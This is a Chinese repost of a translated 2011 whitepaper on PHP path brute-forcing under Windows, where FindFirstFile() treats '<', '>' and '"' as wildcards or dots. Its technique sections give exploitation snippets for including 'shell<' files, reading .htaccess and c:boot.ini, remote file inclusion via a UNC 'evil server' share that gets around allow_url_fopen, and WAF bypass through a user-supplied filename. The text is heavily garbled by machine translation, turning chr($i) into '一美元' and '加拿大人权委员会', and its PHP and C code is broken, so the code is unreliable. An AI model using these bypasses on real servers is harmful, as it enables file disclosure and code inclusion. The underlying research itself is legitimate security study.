宝哥软件园

windows文件系统机制导致的PHP路径爆破分析

编辑:宝哥软件园 来源:互联网 时间:2021-09-10

1.开场白

这次披露的是以下几页提问的测试结果:http://code.google.com/p/pasc2at/wiki/SimplifiedChinese

?PHP for($ I=0;$ i255$i ) {$url='1.ph '。chr(一美元);$ tmp=@ file _ get _ contents($ URL);if(!empty($tmp)) echo chr($i)。 r n ';}?鉴于1.php的存在,上述脚本访问的结果是:

1.php1.phP1.ph1.ph可以返回。前两个返回是众所周知的(因为windows的文件系统支持大小转换的机制),另外两个返回引起了我们的注意。测试php版本:PHP4.9、PHP5.2、PHP5.3、PHP6.0测试系统:WINXP SP3 X32、WINXP SP2 X64、WIN7、WIN2K3。经过测试,我们得出结论,该漏洞影响所有windows php版本。

2.深入探究模糊测试的结果

为了继续深入探究关于这个bug的信息,我们对demo :做了一些修改

?PHP for($ j=0;$ i256$ j){ for($ I=0;$ i256$i ) {$url='1.p '。加拿大人权委员会(j美元)。chr(一美元);$ tmp=@ file _ get _ contents($ URL);if(!empty($tmp)) echo chr($j)。chr(一美元)。 r n ';}}?在调试php解释器的过程中,我们将这个“神奇”的漏洞归因于Winapi函数FindFirstFile()(http://mdsn.microsoft.com/en-us/library/aa364418(v=vs . 85)的结果。aspx)。更有趣的是,当我们追踪函数调用栈时,我们发现了字符。字符“”被替换为“*”,符号“(双引号)被替换为“.”性格。msdn在2007年发布的文件中提到了这一点:http://MSDN.microsoft.com/en-us/library/community/history/aa364418(v=vs . 85)。aspx?Id=3,但是这个bug还没有被任何windows发布的任何版本修复!我们想澄清的是,函数FindFirstFile()在php中的使用远远少于file_get_contents()。我们列出了下表,其中列出了该错误可以使用的功能:

此外,我们还发现这种利用也可以应用于c,并采用了来自msdn的以下示例:

# include windows . h # include tchar . h # include stdio . hvoid _ tmain(int argc,TCHAR * argv[]){ WIN32 _ FIND _ DATA FindFileData;HANDLE hFindif(argc!=2){ _ tprintf(TExT(' Usage :% s[target _ file] n '),argv[0]);返回;}_tprintf (TEXT('目标文件为%sn '),argv[1]);hFind=FindFirstFile(argv[1],FindFileData);if(HfInd==INVALID _ HANDLE _ VALUE){ printf(' FindFirstFile失败(%d)n ',GetLastError());返回;}else{_tprintf (TEXT('找到的第一个文件是%sn '),findfiledata . cfilename);find close(HfInd);}}当传入参数“c:bo”时,boot.ini文件被成功访问。

3.使用方法概述

调用FindFirstFile()函数时,“”被“*”替换,这意味着规则可以使“”替换多个任意字符,但发现并非所有情况都如测试中预期的那样。因此,为了确保“”可以用“*”替换,应采用“”示例: include(' shell ');或者包含(' shell ');//当文件夹中有多个以shell开头的文件时,执行会取按字母表排序的第一个文件。当调用FindFirstFile()函数时,“”被“?”替换,这意味着此“”可以替换单个任意字符示例:include(' shell . PP ');//当有多个带shell.p的文件时?p,执行时取第一个按字母排序的文件。当调用FindFirstFile()函数时,“”(双引号)被替换为“.”示例:包括(' shell ' PHP ');//===include(' shell . PHP ');示例:fopen('。如果文件名的第一个字符是“.”,则在读取时可以忽略htacess ');//==fopen(' HTA cess ');//在第一点加上利用率==fopen(' h ');可以在文件名的末尾添加一系列/或集合,也可以添加。在/或中间的字符,只要最后一个数字是“.”示例:fopen ("config.ini 。////.");==fopen('config.ini。/..');==fopen ('config.ini/////. ')==fopen ('config.ini . ')//译者注:我不太明白这里的用法。有什么用?截断?这个函数也可以调用以“”开头的网络共享文件,当然要花很长时间。此外,如果共享名不存在,文件操作将需要额外的4秒钟,这可能会触发时间响应机制和max_execution_time错误。幸运的是,该漏洞可用于绕过allow_url_fopen=Off,并最终导致RFI(远程文件包含)示例:include( evisa server shell . PHP ');您也可以切换磁盘名称包含(' '。 c : my file.php ... d : other file . PHP );选择磁盘命名语法可以通过绕过斜杠字符来过滤file _ get _ contents(' c : boot . ini ');//==file _ get _ contents(' c :/boot . ini ');在php (php.exe)的命令行环境中,关于使用系统保留名称文件的详细信息是example : file _ get _ contents(' c :/tmp/con . jpg ');//这将从CON设备无休止地读取0字节,直到遇到eof示例: file _ put _ contents(' c :/tmp/CON . jpg ',chr(007));//这会导致服务器持续发出嘟嘟声

4.更深入的利用方法

除了上面显示的方法,您还可以使用以下姿势来绕过WAF或文件名过滤。请思考这个例子:

?phpfile_get_contents('/images/')。$_GET['a']。jpg’);//或表1中的另一个函数,即include()。参观test.php?a=./a

5.结论实验告诉我们php本身没有那么多漏洞。我们能看到的是:过于依赖另一种编程语言(注:如果本文的漏洞来源于一个带有winapi的BUG),并直接强制使用,会导致细微的BUG,最终造成危害(vul)。这拓宽了模糊测试的范围(译者注:不仅仅是研究网页层面。诚然,代码需要保护、修补、升级和扩展。然而,这并不是我们真正想要关注的。目前,我认为应该像我们一直在做的那样,更仔细地编写更多更严格的过滤规则。还有很长的路要走,要不断进步。因为这是基本应用层的问题,我们怀疑类似的问题可能会出现在其他web应用程序中。因此,我们也对mysql5进行了测试,实验结果表明mysql5没有类似的漏洞。然而,我们仍然相信类似的漏洞会出现在解释语言中,比如Perl、Python和Ruby。

6.推荐人

PHP应用程序源代码审计高级technology:http://code.google.com/p/pasc2at/wiki/SimplifiedChineseMSDN findfirst file Function reference :http://msdn . Microsoft.com/en-us/library/aa 364418(v=vs . 85)。aspxMSDN注释历史:3358 msdn . Microsoft.com/en-us/library/community/history/aa 364418(v=vs . 85)。aspx?id=3MSDN文章命名文件、路径和命名空间:http://msdn . Microsoft.com/en-us/library/aa 365247(v=vs . 85)。aspxTechnet文章管理文件和目录:http://technet.microsoft.com/en-us/library/cc 722482 . aspx论文快速开发的技巧2盲SQL注入:http://www.exploit-db.com/papers/13696/===========================。注:本文为2011年底发表的白皮书,bug至今依然存在。几个月前,当我在做CUIT的CTF时,我遇到了这个bug的用法。当时我看了这篇文章。当时我只是大致看了一下,写了一个php脚本来运行目录。今天没事,翻译已经整理好了。

更多资讯
游戏推荐
更多+